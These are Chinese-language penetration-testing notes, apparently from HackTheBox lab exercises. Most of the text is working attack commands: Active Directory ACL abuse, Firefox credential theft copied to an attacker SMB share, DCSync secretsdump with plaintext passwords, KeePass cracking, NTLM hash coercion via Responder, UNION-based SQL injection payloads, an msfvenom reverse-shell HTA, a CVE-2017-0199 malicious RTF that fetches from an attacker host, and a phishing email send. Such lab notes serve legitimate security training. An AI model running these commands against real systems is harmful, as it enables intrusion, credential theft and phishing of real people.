或更完整的命令⾏,其中的 AD: 字样是Get-ACL命令获取域ACL的前缀。、
Get-ACL
:此 cmdlet 用于获取指定 AD 对象的 ACL(访问控制列表)。
"AD:CN=CORE STAFF,CN=Users,DC=streamIO,DC=htb"
:这代表 Active Directory 对象的路径。在本例中,它指定“streamIO.htb”域的“Users”容器内的“CORE STAFF”组。
.Access
:此属性用于访问 ACL 中的访问控制条目 (ACE) 列表。
Evil-WinRM PS C:\Users\nikk37\Documents> (Get-ACL "AD:$((Get-ADgroup "core
staff").distinguishedname)").access 会出现一堆这种数据如下是需要关注的
(ActiveDirectoryRights : WriteOwner
InheritanceType : None
ObjectType : 00000000-0000-0000-0000-000000000000
InheritedObjectType : 00000000-0000-0000-0000-000000000000
ObjectFlags : None
AccessControlType : Allow
IdentityReference : streamIO\JDgodd
IsInherited : False
InheritanceFlags : None
PropagationFlags : None)JDgodd有写所有者权限。
上⾯的⻓列表也可以直接筛选:
(Get-ACL "AD:$((Get-ADgroup "core staff").distinguishedname)").access | Where-Object { $_.IdentityReference -like "jdgodd" }
get-adcomputer -filter * 看⼀下域中的计算机信息,只有DC 后面的不想写了
(DistinguishedName : CN=DC,OU=Domain Controllers,DC=streamIO,DC=htb
DNSHostName : DC.streamIO.htb
Enabled : True
Name : DC
ObjectClass : computer
ObjectGUID : 8c0f9a80-aaab-4a78-9e0d-7a4158d8b9ee
SamAccountName : DC$
SID : S-1-5-21-1470860369-1569627196-4264678630-1000
UserPrincipalName :)
有一个凭据后获得新凭据可以直接搜索看有没有攻击途径
当你的用户对其中一个用户有generic_all权限时 可以直接修改改用户密码
net user dr.zaiuss RedteamN0tes!
GENERIC_ALL 是⼀个合集,它包括了对象的所有可能的权限。当为⼀个对象(如活动⽬录⽤户或组)赋予 GENERIC_ALL 权限时,您实际上是为该对象赋予了该对象类型的所有特定权限。例如,对于活动⽬录⽤户对象,这可能包括读取、写⼊、删除、更改密码、添加到组等各种权限。
得到用户可以罗列的
node info -> outbound object control->first degree object control 可以看它可以直接控制谁
analysis -> shortest paths ->shortest paths from owned principals 可以看属于哪个组
analysis -> list all kerberomssastable accounts
node info-> local admin rights->first degree local admin 可以查看 member of 哪一个组的admin
outbound object control->first degree object control 找该组隶属的组员
analysis-> find shortest paths domain admins 最短路径到域管
在 Program Files (x86) 发现安装的firefox。之前的⽤户没有家⽬录,但本⽤户有,会存储⼀些敏感信息吗
goole 搜搜the profiles file location of firefox in windows system
filefox password crack
通过第⼏篇⽂章,我们能够找到敏感⽂件的路径和敏感⽂件的名称,并且有两个⼯具可⽤。
窃取Firefox密码。简介 |由 S12 - H4CK |系统弱点 (systemweakness.com)
How to decrypt Firefox passwords with Python? | by Yicong | Geek Culture | Medium
How to decrypt Firefox passwords with Python? | by Yicong | Geek Culture | Medium工具
Windows:C:/Users/<PC 名称>/AppData/Roaming/Mozilla/Firefox/ProfilesMac:~/Library/Application Support/Firefox/ProfilesLinux:~/.mozilla/firefox/Profiles
以下是相应操作系统的 NSS 库名称。
Windows:nss3.dllMac:libnss3.dylibLinux:libnss3.so
具体是这样的,如下⽤户资料的⽂件路径重要有 key4.db和logins.json两个⽂件,我们可以⻢上验证并试图拿到。
Windows: C:/Users/<PC Name>/AppData/Roaming/Mozilla/Firefox/Profiles
如下路径中有nss3.dll⽂件。
Windows: C:\Program Files\Mozillia Firefox
拓展资料:
\1. key4.db: 是 Firefox 浏览器中的⼀个数据库,⽤于存储加密的敏感数据,如密码、证书和加密密钥。它使⽤ Mozilla 的 Network Security Services (NSS) 库来处理加密和解密操作。key4.db ⽂件包含了⽤于加密和保护登录密码等数据的密钥。这是SQLite的数据库格式,SQLite是⼀种嵌⼊式关系型数据库管理系统(RDBMS),它是⼀个轻量级、⾃包含的、⾼性能的数据库引擎。与传统的客户端-服务器数据库管理系统不同,SQLite 不需要单独的服务器进程,⽽是将整个数据库作为⼀个⽂件存储在主机⽂件系统中。
\2. logins.json: 这个⽂件存储了 Firefox 浏览器中保存的登录凭据,包括⽹站⽤户名和密码等信息。这些登录凭据被加密存储在 logins.json ⽂件中,使⽤ key4.db 中的密钥进⾏加密。
\3. NSS(Network Security Services): NSS 是⼀个由 Mozilla 开发的库,⽤于实现⽹络安全功能,包括 SSL/TLS(加密通信协议)、数字证书管理和安全存储等。在 Firefox 中,NSS 负责处理加密、解密、数字签名等安全操作,同时也⽤于管理存储加密敏感数据的密钥。这些⽂件在 Firefox 中的作⽤是确保⽤户的登录凭据和其他敏感数据得到安全保护。key4.db ⽤于存储加密所需的密钥,logins.json 存储加密后的登录凭据,⽽ NSS 则提供了实现这些加密和解密操作的功能库。
cd
C:\Users\nikk37\AppData\roaming\mozilla\Firefox\Profiles
ls 有两个文件夹 cd 5rwivk2l.default 这个文件夹里面有东西 type times.json这个凭据没什用 cd..
cd br53rxeg.default-release 这个文件下东西多 有key4.db 和logins.json
在kali中建⽴smb服务,⽤来把⽂件从靶机中拿回来,要设定密码,否则不允许不安全的连接,也要指定-smb2support⽀持协议。
/usr/share/doc/python3-impacket/examples/smbserver.py share . -user
RedteamNotes -pass RedteamNotes -smb2support
完成⽂件的复制,更具参考⽂章的提示,也到程序路径下拿到nss3.dll⽂件:
copy key4.db \10.10.16.16\share
copy logins.json \10.10.16.16\share
C:\Program Files (x86)\Mozilla Firefox> copy nss3.dll \10.10.16.16\share
根据参考⽂章,Firepwd.py和firefox_decrypt.py都以完成破解。随便⽤⼀个试试看。
git clone GitHub - lclevy/firepwd: firepwd.py, an open source tool to decrypt Mozilla protected passwords
streamio_firefox是包含从靶机中下载回来的key4.db、logins.json和nss3.dll的⽂件夹。执⾏破解
python firepwd/firepwd.py streamio_firefox
DCSync 攻击的首选方法
/usr/share/doc/python3-impacket/examples/secretsdump.py 'streamio.htb/administrator:}97JM2i!3K&i;+'@streamio.htb
dump出dc主机的全部 凭据 它表示您想要对“streamio.htb”域中的“管理员”帐户执行凭据转储
secretsdump.py 'svc_loanmgr:Moneymakestheworldgoround!@10.129.95.180'
有管理员的tgt
ticketConverter.py ./ticket.kirbi ticket.ccache
secretsdump.py administrator@dc.sequel.htb -k -no-pass
.eml 文件是一种电子邮件文件格式,通常用于存储和传输电子邮件消息。这个文件格式通常是纯文本格式,它包含了一封电子邮件的全部内容,包括发件人、收件人、主题、日期、邮件正文以及可能的附件。
.msg 文件是一种常见的电子邮件文件格式,通常与Microsoft Outlook相关。这个文件格式包含了一封完整的电子邮件消息,包括邮件的文本内容、附件、发件人、收件人、主题等信息。.msg 文件是专门为Microsoft Outlook设计的,它可以保存 Outlook 中的单个邮件,保留邮件的所有元数据。
$ msgconvert *.msg
命令 msgconvert *.msg
看起来像是在尝试使用 msgconvert
工具来转换多个 .msg 文件。msgconvert
是一个用于处理 Microsoft Outlook .msg 文件的 Perl 脚本,它允许你将 .msg 文件转换为其他格式,比如文本或者是 eml(RFC822)格式。
xdg-open xxx.eml
.kdbx
文件是一种与密码管理相关的文件格式,通常用于存储密码数据库。这种文件格式是由一个流行的密码管理工具称为KeePass使用的,它是一个开源的、跨平台的密码管理器。
KeePass数据库文件(.kdbx
)包含了用户的各种密码、账户信息以及其他敏感数据,并通过强加密算法对这些信息进行保护。用户需要提供主密码或者其他认证信息来解锁数据库文件以访问其中的保存的密码。
kpcli 是⼀个命令⾏界⾯(CLI)客户端,⽤于交互与 KeePass 数据库⽂件(.kdb 和 .kdbx)。它允许⽤户在没有图形⽤户界⾯的情况下管理和访问 KeePass 数据库,这在某些服务器或远程访问场景中特别有⽤。
当然你也可以安装图形界⾯的Keepass应⽤,查看凭据信息。
以下是一些关于.kdbx
文件和KeePass的基本信息:
kpcli -kdb credentials.kdbx 查看需要密码
keepass2john credentials.kdbx > credentials.kdbx.hash
$ hashcat --help | grep -i keepass
hashcat -m 13400 credentials.kdbx.hash /usr/share/wordlists/rockyou.txt
show -f Recycle\ Bin/Sample\ Entry
ls Windows/
=== Entries ===
\0. SSH
kpcli:/Database> show -f Windows/SSH
TrustedSec | Practical Attacks against NTLMv1
靶机枚举看到的,在windows defender文件夹下的
这个可以利用
靠山吃山理念,可以去理解,好多工具的使用
goole直接搜,LOLBAS LOLBAS
是个网站,里面是靠山吃山工具的理念使用(系统有啥文件就用啥文件)
这个是linux的 GTFOBins
使用Responder
sudo ./Responder.py -I tun0 --lm
因为执行后的challenge set是随机的,每次利用都会不一样
所以要改一下
改成固定值
再次执行。-v是避免已经显示的随机数不在显示,全部显示,执行后开始监听
靶机里面执行(这个命令可以从上面的lolbas中查)
.\MpCmdrun.exe -Scan -scantype 3 -File \10.10.16.10\noexist
noexit就是不需要访问任何文件,只需要连接一下
这个就是利用这个工具执行一次连接,连接我们的responder,
将获得hash保存下来
工具利用 ntlmv1-multi
GitHub - evilmog/ntlmv1-multi: NTLMv1 Multitool
工具利用后告诉你怎么破解
利用crack.sh网站,但是要钱
把change set改成这个,特定的这样才可以在这个网站破解,可能是这个网站在靶机做的宣传。1122334455667788
如果有一个msssql权限
Orchard 的用户是admin
sqsh -S 10.10.10.52 -U admin -P 'm$$ql_S@_P@ssW0rd!'
尝试打开 xp_cmdshell 并执行命令,如下所示:但是失败 xp_cmdshell 未打开。
EXEC SP_CONFIGURE 'show advanced options', 1 reconfigure go EXEC SP_CONFIGURE 'xp_cmdshell' , 1 reconfigure go xp_cmdshell 'whoami' go
在确认 xp_cmdshell 已关闭且无法打开后,我决定继续前进。我想要测试的下一件事是连接到一个不存在的共享,并运行 Responder,并希望获取 SQL 服务所有者的哈希值。
首先,我像这样启动 Responder:kali
responder -I tun0
sqsh中
exec master..xp_dirtree '\10.10.14.12\test'
go
可以转储出hash
⽐如⽤关键词 time';-- - 来试探:
这就是SQL注⼊。如果不是,它将返回0个结果,因为没有电影在标题中有‘';-- -’这样的字符。
事实上输⼊ d' and 1=1 -- 也是有返回值的,也证明是有SQL注⼊的
RedteamNotes' union select 1,2,3,4,5,6;-- - ,获得了反馈。 2 3
RedteamNotes' union select 1,@@version,3,4,5,6;-- -
RedteamNotes' union select 1,name,3,4,5,6 from master..sysdatabases;-- -
从 master 数据库中的 sysdatabases 表中检索数据。在mysql中和sysdatabases对应的表叫
INFORMATION_SCHEMA。
不难推测,当前数据库是STREAMIO。同时streamio_backup也值得关注,备份数据中如有更多凭据,⽤来撞库⼀般很好⽤。但是从运维⻆度⼀般没⼈配置对备份数据库的访问,配置机制上不会,运维⼈员的意愿上更不会。
RedteamNotes' union select 1,(select DB_NAME()),3,4,5,6 from
master..sysdatabases;-- - 获得 srteamio
RedteamNotes' union select 1,name,id,4,5,6 from streamio..sysobjects where
xtype='U';-- - 有个users表
在 SQL Server 中, sysobjects 是⼀个系统表,它包含了有关数据库中的对象(例如表、视图、存储过程等)的元数据信息。在这个查询中, xtype 是 sysobjects 表中的⼀个列,表示对象的类型。where xtype='U' 是⼀个条件,它限制了结果集中只返回对象类型为 'U' 的⾏。在这⾥, 'U' 表示⽤户表(User Table)。这个条件过滤了只有⽤户表的信息被检索出来,其他类型的对象将被排除。
RedteamNotes' union select 1,name,id,4,5,6 from streamio..syscolumns where id in
(885578193,901578250);-- - 有username和 password
RedteamNotes' union select 1,concat(username,';',password),3,4,5,6 from users;-- -
获得账号密码
sqsh -S 10.10.10.52 -U admin -P 'm$$ql_S@_P@ssW0rd!'
可以sqsh -S servername -U username -P password -D database -i your_script.sql
首先,我列举了所有的数据库;不过,从 dev_notes 消息中我知道我可能正在寻找“orcharddb”。
在 Microsoft SQL Server 中,双点符号 ( master..sysdatabases
) 是指定默认架构 ( dbo
) 的简写。和master.dbo.sysdatabases
都master..sysdatabases
引用相同的系统表,并将返回“master”数据库中的数据库名称。
SELECT name FROM master.dbo.sysdatabases go
好吧,orcharddb被发现了,这就是我想开始的地方。接下来,我退出 SQL shell,然后使用以下命令进入 orcharddb 数据库:
sqsh -S 10.10.10.52 -U admin -P 'm$$ql_S@_P@ssW0rd!' -d orcharddb
进入 orcharddb 数据库后,我运行以下命令来转储所有表名:
SELECT * FROM orcharddb.INFORMATION_SCHEMA.TABLES; go
这提取了 62 个表名!— 然而,在浏览各个表格时,其中一个表格中有“用户”一词,所以我知道这就是我想首先检查的表格。
接下来,我从表中提取了所有数据,在该表中为我提供了我之前枚举的用户 James 的密码!
SELECT * FROM blog_Orchard_Users_UserPartRecord; go
可以创建一个用户,登入
file Restart-OracleService.exe
file 可以快速识别⽂件的格式的常⽤命令,识别原理是基于魔数(magic numbers)和其他特定
于⽂件类型的特征。从⼆进制分析⻆度需要注重下细节。
\1. PE32+ executable: 这描述了⽂件的格式。PE32+意味着它是⼀个扩展的PE格式(Portable
Executable),这是Windows操作系统⽤于可执⾏⽂件、DLLs等的标准格式。
\2. console: 这意味着该可执⾏⽂件是⼀个控制台应⽤程序,是⼀个命令⾏⼯具,⽽不是⼀个具有
图形⽤户界⾯的程序。
\3. x86-64: 这表示程序是为x86-64架构(也称为AMD64或简称64位)编译的,它不能在纯32位的
Windows系统上运⾏。
\4. for MS Windows: 这很明确地说明这是⼀个为Microsoft Windows操作系统编译的程序。
\5. 6 sections: 这指的是PE⽂件中的段数量。在PE⽂件格式中,段是⽂件的主要组成部分,它们
包含代码、数据和其他信息。该值可以为分析者提供有关⽂件结构的某些基本信息。
拓展说⼀点file命令的知识,对逆向感兴趣的,这些都是需要了解的。
拓展: 什么是⽂件魔数和其他特征?
魔数(Magic Number)在计算领域有多种定义和⽤途,但在⽂件格式的语境中,它通常指的是⼀个⽂件或数据块开始的⼀系列字节,这些字节⽤于表示数据的类型或格式。通过这些特定的字节组合,软件和操作系统可以轻松地识别和区分不同的⽂件格式。
以下是⼀些常⻅的魔数示例,我们靶机精讲的靶机中是有部分涉及的:
\1. JPEG 图像⽂件:通常以 0xFF 0xD8 开始。
\2. PNG 图像⽂件:开始有⼀个8字节的签名,即 0x89 0x50 0x4E 0x47 0x0D 0x0A 0x1A
0x0A 。
\3. ELF 可执⾏⽂件:开始有 0x7F 0x45 0x4C 0x46 。
\4. ZIP 压缩⽂件:通常以 0x50 0x4B 0x03 0x04 开始。
当使⽤ file 命令识别⽂件类型时,会检查⽂件的魔数,因为⽂件的扩展名并不总是可靠的;⽂件
的内容和魔数提供了更准确的识别⽅法。需要注意的是,魔数并不仅仅⽤于⽂件识别。在其他计算
领域,例如在某些数据结构中,魔数可以⽤作⼀种标识,以检查数据的完整性或确定数据的版本。
file 命令⽤来识别⽂件类型时,除了依赖于魔数(magic numbers)外,还会依赖于其他⼀些特
定于⽂件类型的特征。以下是⼀些这样的特征:
\1. ⽂件头部和/或尾部的固定字节序列:这通常是魔数(magic numbers)。例如,所有的 JPEG⽂件在其头部有⼀个特定的字节序列。
\2. ⽂本模式识别: file 命令可以识别许多纯⽂本格式,例如 ASCII、UTF-8 或特定的脚本(如
shell 脚本、Python 脚本等)。
\3. ⽂件的结构和布局:某些⽂件格式有特定的内部结构或布局,这可以帮助识别它们。第 37 /
\4. ⽂件扩展:尽管⽂件扩展名不总是准确的,但 file 命令在某些情况下可能会使⽤它作为⼀个
线索。
\5. ⽂件的元数据:某些⽂件格式包含元数据,如作者、创建⽇期等,这些也可以⽤来识别⽂件类型。
\6. ⽂件的内容模式:例如,XML ⽂件会有特定的标签结构。
\7. 特定的字节间隔或模式:有些⽂件格式在其内容中有固定的字节间隔或模式。
\8. 压缩和编码模式:如⽂件是经过特定算法压缩或编码的,这些模式也可以被⽤来识别⽂件。
\9. ⽂件尾巴的特定标记:某些⽂件不仅在其头部有特定的标记,还在尾部有。
这些特征和模式都存储在 file 命令所依赖的“magic”数据库中。这个数据库包含了⼤量的规则和
模式,⽤于识别各种⽂件类型。当运⾏ file 命令时,它会根据这些规则和模式检查给定的⽂件,然后返回最佳匹配的⽂件类型描述。类似的还应该想到 strings 、 ldd 和 nm ,分别查看其中的可打印字符串、链接库信息和符号表。
ldd是list dynamic dependencies,nm是name mangling。
继续静态分析。
strings Restart-OracleService.exe | wc -l
strings Restart-OracleService.exe | tee strings_Restart-Oracle
因可打印字符串⽐较多,我们将其输出到⼀个⽂件中。遍历的时候看到inflate的信息
cat strings_Restart-Oracle | grep infl
(inflate 1.2.11 Copyright 1995-2017 Mark Adler)
chagGPT告诉我这是⼀个压缩相关的库⽂件。⽆法查看到链接库的具体情况。
ldd Restart-OracleService.exe
⽤ghidra查看反汇编、反编译和字符串信息,也没有什么收获,应该是做混淆处理。
那就观察 Restart-OracleService.exe 的程序交互⾏为吧!
动态分析:
优点:
可以在运⾏时观察程序的实际⾏为。更容易识别运⾏时数据和算法。可以绕过某些混淆或加密措施,因为在运⾏时数据必须解密或解混淆。
劣势:
可能需要更多时间来设置并监视运⾏环境。可能⽆法分析不常运⾏的代码路径或特定的条件分⽀。存在对抗性技术,如反调试技术,可能会影响分析。
⼯具:
调试器:如 GDB、WinDbg、OllyDbg、x64dbg 等。
动态⼆进制插桩⼯具:如 DynamoRIO、PIN。
系统监视⼯具:如 ProcMon、Wireshark。
\2. 静态分析:
优点:
不需要执⾏程序,降低⻛险。可以看到整个程序的逻辑和结构。更适合⼤规模或⾃动化分析。
劣势:
⽆法直接观察到程序的运⾏时⾏为。对于混淆的或复杂的代码可能很难解读。对于动态⽣成或修改的代码(如反射或⾃修改代码)可能⽆法准确分析。
⼯具:
反编译器和反汇编⼯具:如 IDA Pro、Ghidra、Radare2、Hopper。
代码可视化⼯具:如 Binary Ninja。
字符串和资源分析⼯具:如 Strings、Binwalk。
适⽤条件:
对于想要快速了解程序功能或查找明显的疑点部分,动态分析可能是⾸选。
对于需要深⼊理解整个程序的逻辑、数据结构或算法的任务,静态分析可能更合适。
在某些情况下,⽐如⾯对⾼度混淆的代码或者使⽤了反调试技巧的程序,可能需要结合动态和
静态分析。
这⾥需要⽤到Sysinternals中的⼯具。Sysinternals是⼀套⽤于诊断、排查和监控Windows系统和应⽤程序的实⽤⼯具集Sysinternals - Sysinternals | Microsoft Learn
在⼯具套件的官⽅站点下载对应架构的软件包。 Sysinternals 实用工具 - Sysinternals | Microsoft Learn
这⾥我们⽤到这个⼯具套件中的procmon这个⼯具,Procmon,Process Monitor,可以捕获
Windows的所有注册表、⽂件、⽹络和进程事件,并允许我们通过过滤器来查看正在发⽣的情况。
官⽅⽂档在这⾥: 进程监视器 - Sysinternals | Microsoft Learn
漏斗可以筛选进程名称方便点,四角定位框是捕捉
监测起停之间执⾏了Restart-OracleService.exe,通过观察⽇志和过滤器的使⽤,发现程序创建并操作了⼀个bat⽂件。.bat文件一般是命令行输入,很值得观察,(记得把path这一栏拉长不然没全显示
⼏次清空并执⾏后,发现注册表操作⽇志稳定在1297条数据,证明这是⼀个完整的操作过程。遍历进程的操作,发现程序建⽴了⼀个bat格式的批处理⽂件,并且在⼀些列操作后删除了这个bat⽂件,通过多次执⾏程序,看到这个⽂件的名字是随机⽣成的,在临时⽂件夹。现在我们想办法拿到这个bat⽂件,看程序都做了什么。
可以漏斗中选择path 然后关键词.bat
复制它的路径到这
程序是将temp临时文件里面的bat文件删除,我们想留下来,可以找工具也可以(临时文件持久化)
通过对temp⽂件夹权限的设置,确保临时⽂件不被删除。
这样捕捉到随机⽣成的bat⽂件。
看⼀下这个bat⽂件的内容,分析程序的⾏为:
@shift /0
@echo off
if %username% == cybervaca goto correcto
if %username% == frankytech goto correcto
if %username% == ev4si0n goto correcto
goto error第 42 / 107 页
:correcto
echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >
c:\programdata\oracle.txt
echo AAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g >>
c:\programdata\oracle.txt
-- 红笔剪⼑,省略若⼲⾏ --
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >>
c:\programdata\oracle.txt
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >>
c:\programdata\oracle.txt
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >>
c:\programdata\oracle.txt
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >>
c:\programdata\oracle.txt
echo $salida = $null; $fichero = (Get-Content C:\ProgramData\oracle.txt) ;
foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace("
",""); [System.IO.File] ::WriteAllBytes("c:\programdata\restart-service.exe",
[System.Convert] ::FromBase64String($salida)) > c:\programdata\monta.ps1
powershell.exe -exec bypass -file c:\programdata\monta.ps1
del c:\programdata\monta.ps1
del c:\programdata\oracle.txt
c:\programdata\restart-service.exe
del c:\programdata\restart-service.exe
:error
这是⼀个Windows批处理脚本。批处理⽂件(或脚本)是在Windows中运⾏的⽂本⽂件,它包含了⼀系列的命令。根据⽂件内容,我们可以推断出以下⼏点:
\1. ⽤户检查:
该脚本⾸先检查当前⽤户的⽤户名是否是 cybervaca 、 frankytech 或 ev4si0n 之⼀。
如果⽤户名匹配,则跳转到 correcto 标签的代码;否则跳转到 error 标签的代码。
\2. oracle.txt ⽂件创建:
在 correcto 标签下,脚本将多⾏数据写⼊到 c:\programdata\oracle.txt ⽂件。数据
应该是Base64编码的数据。
\3. PowerShell 脚本⽣成和执⾏:
在创建了 oracle.txt 之后,脚本会写⼊⼀个PowerShell命令到c:\programdata\monta.ps1 ⽂件。这个命令会:读取 oracle.txt ⽂件的内容合并所有⾏,去掉所有空格将结果的字符串从Base64解码并保存为⼀个⼆进制⽂件: c:\programdata\restart-service.exe然后使⽤ powershell.exe 执⾏上⾯⽣成的PowerShell脚本,并在执⾏完成后⽴即删除。
\4. 执⾏⼆进制⽂件:
执⾏ c:\programdata\restart-service.exe ⽂件。
\5. 清理:
在运⾏完上述所有操作后,脚本会删除先前⽣成的 oracle.txt 、 monta.ps1 和
restart-service.exe ⽂件。
\6. 错误处理:
如果初始的⽤户名检查失败,则脚本会直接跳转到 error 标签
整个代码是将txt的内容读进来,Base64数据解码并保存为⼀个名为"restart-service.exe"的可执⾏⽂件,执⾏,然后删除全部过程⽂件。现在我们想要这些⽂件,因为其中很可能有凭据,不让它啥,让我们看看。纵观脚本,不让它删可以吧del语句删掉,它就不删了,还有开头的认证也删掉(直接改成goto correcto 任何条件都可以跳到底下代码块)就可以了。修改后的代码这样的 就是把
del c:\programdata\restart-service.exe 去掉
倒数第⼆⾏的 c:\programdata\restart-service.exe 是执⾏了⽣成的可执⾏⽂件,但显然我们的逆向分析环境没有执⾏的意义,我们关注的是拿到这个⽂件,看它其中的敏感信息,我们深度怀疑它其中有数据库连接的凭据。也可以直接将后四⾏删掉。
切换到programdata
执⾏后,如程序逻辑⼀样,我们在 c:\programdata\ ⽂件夹内看到了 restart-service.exe ⽂
件。
现在逆向restart-service.exe吧。
ls -liah restart-service.exe
strings restart-service.exe | grep -i pass
ldd restart-service.exe
nm restart-service.exe
⽆法通过strings或查看符号表等⽅式获得敏感信息。在ghidra中看到,程序也是经过混淆或加密的,⽆法找到分析的⼊⼝,那还要借助动态逆向分析搜
集信息。⽽此时,通过Procmon之类的进程观察⼯具,在519条进程记录中,没有发现可供逆向的⼆进制⽂件,也没有敏感信息泄漏出来。
和系统打交道的,除了这个procmon,⽤于监控 Windows ⽂件系统、注册表、进程、线程和 DLL活动,还有像linux系统下strace那样,能捕获 Win API 调⽤,显示函数调⽤、参数值、返回值和错误码等信息的应⽤吗?如果你不知道可以搜⼀搜。
the substitute of strace in windows
随便点开靠前的连接,我们感兴趣试⼀下api monitor。事实上常⽤的x64dbg这种动态调试器应该也是可以的。找到api monitor就⽤⼀下。
我们切换到intel架构的cpu的windows中进⾏逆向分析,因为实在虚拟机中的测试,关闭windows defender。
如上图,执⾏后,获得restart-service.exe⽂件。启动apt monitor。过滤器全选。指定监控进程。左边的这些要用空格一个个选
导⼊分析数据后,通过前面的渗透感觉这边又密码子类的如下图,并全⽂搜索敏感数据passwd。这样不管时password还是什么都可以找到
通过不同关键字搜索,得到如下凭据:
这边得到的密码靶机登入不了,但是邮件里面说最近切换mssql了,尝试改一下密码的orcle改成mssql试试
决定⽤dnspy来试⼀下:
使⽤dnspy做静态逆向分析
使⽤ GitHub - dnSpy/dnSpy: .NET debugger and assembly editor 对restart-mssql.exe进⾏静态逆向分析,这是单独针对.net进⾏逆向分析的⼯具,你⽤google搜索,也会被推荐这个⼯具。
根据我们获得program.cs⽂件,很容易定位到主程序的逆向源码。
综合源码和逆向的代码,我们很容易分析 Console.WriteLine 很可能可以获得凭据,设置断点,并启动调试。获得如下运⾏结果。
设置断点
右击数组,选择显示在内存窗⼝,获得如下明⽂
RTF文件(Rich Text Format):
定义: RTF是一种文本文件格式,旨在存储文本文档的格式化信息,例如字体、颜色和样式,而无需包含实际的二进制图像或多媒体数据。
用途: RTF文件通常用于在不同的文本编辑器和文档处理应用程序之间共享文本文档,因为RTF格式允许在不同应用程序之间保留文本文档的格式和外观。
注意事项: 尽管RTF文件主要用于文本文档,但要小心处理未知来源的RTF文件,因为它们可能包含恶意代码或链接。
HTA文件(HTML Application):
定义: HTA是一种由HTML和脚本组成的文件格式,它允许在本地系统上执行包含JavaScript、VBScript等脚本的HTML代码。HTA文件通常拥有本地系统的权限,并可以执行强大的系统操作。
用途: HTA文件常用于创建桌面应用程序或执行一些系统管理任务。由于其能够本地执行脚本并访问系统资源的特性,HTA文件可能被滥用用于恶意目的,如在渗透测试中。
注意事项: 由于HTA文件具有执行本地脚本的能力,打开未知来源的HTA文件可能存在风险,因为它们可能包含恶意脚本。
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.11 LPORT=443 -f hta-psh -o msfv.hta
生成hta文件木马
python CVE-2017-0199/cve-2017-0199_toolkit.py -M gen -w invoice.rtf -u http://10.10.14.3/msfv.hta -t rtf -x 0
-M gen
:指定模式为“gen”,表示要生成恶意文档。
-w invoice.rtf
:将输出文件名指定为“invoice.rtf”。
-u http://10.10.14.3/msfv.hta
:指定负载的 URL,该负载是托管在“ http://10.10.14.3/msfv.hta ”的 HTA 文件。
-t rtf
:指定要生成的文档类型为 RTF。
-x 0
:指定要在文档中使用的图标。在本例中,它设置为 0。
准备好文档后,我将启动一个 python http.server 来提供 hta 文件,启动一个 nc 侦听器来捕获我的 shell,然后发送网络钓鱼。我将使用sendemail
以下选项:
sendEmail -f 0xdf@megabank.com -t nico@megabank.com -u "Invoice Attached" -m "You are overdue payment" -a invoice.rtf -s 10.10.10.77 -v
您提供的命令似乎是尝试使用sendEmail
命令行工具发送电子邮件。以下是您使用的选项的详细说明:
-f 0xdf@megabank.com
:指定“发件人”电子邮件地址。
-t nico@megabank.com
:指定“收件人”电子邮件地址。
-u "Invoice Attached"
:指定电子邮件主题。
-m "You are overdue payment"
:指定电子邮件消息。
-a invoice.rtf
:将名为“invoice.rtf”的文件附加到电子邮件中。
-s 10.10.10.77
:指定 SMTP 服务器的 IP 地址(假设10.10.10.77
在本例中)。
-v
:启用详细模式,为调试提供更详细的输出。
nc -lvnp 443
use windows/fileformat/office_word_hta
options
set lhost
set lport
run
我将按照手动方式发送电子邮件,但这次使用 Metasploit 生成的文档:
sendEmail -f 0xdf@megabank.com -t nico@megabank.com -u "Invoice Attached" -m "You are overdue payment" -a /root/.msf4/local/invoice.doc -s 10.10.10.77 -v
ExifTool Version Number : 12.65
File Name : RHUL-MA-2009-06.pdf
Directory : .
File Size : 1301 kB
File Modification Date/Time : 2021:02:19 15:06:00-05:00
File Access Date/Time : 2023:08:28 03:13:44-04:00
File Inode Change Date/Time : 2023:08:28 03:13:44-04:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 88
XMP Toolkit : XMP toolkit 2.9.1-13, framework 1.6
About : 14ac9a6d-ff72-11dd-0000-8fdb8053d234
Producer : GPL Ghostscript 8.63
Modify Date : 2009:02:17 17:15:32Z00:00
Create Date : 2009:02:17 17:15:32Z00:00
Creator Tool : PScript5.dll Version 5.2.2
Document ID : 14ac9a6d-ff72-11dd-0000-8fdb8053d234
Format : application/pdf
Title : Microsoft Word - BufferOverflows_cover
Creator : alex
Author : alex
处理一堆这些数据提取敏感信息
exiftool *.pdf | grep -iE creator|author | awk -F ':' '{print $2}' | grep -v -i 'microsoft' | grep -vE '[0-9]' | uniq | tail -n 4 | sort | tee pdf_authors
exiftool *.pdf
:从当前目录中的所有 PDF 文件中提取元数据信息。
grep -iE creator\|author
:过滤包含“creator”的行;或“作者” (不区分大小写)。
awk -F ':' '{print $2}'
:使用 awk 在用“:”分割每一行后提取第二个字段。
grep -v -i 'microsoft'
:排除包含“microsoft”的行(不区分大小写)。
grep -vE '[0-9]'
:排除包含数值的行。
uniq
:过滤掉连续的相同行,只保留唯一的行。
tail -n 4
:显示最后 4 行。
sort
:按字母顺序对行进行排序。
tee pdf_authors
:将结果写入名为“pdf_authors”的文件中;在终端上显示它时
`
-i
用于 grep
时,表示忽略大小写。
-E
用于 grep
时,表示启用扩展正则表达式。可以加|不被转义
-v
用于 grep
时,表示反选,匹配不包含指定模式的行。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。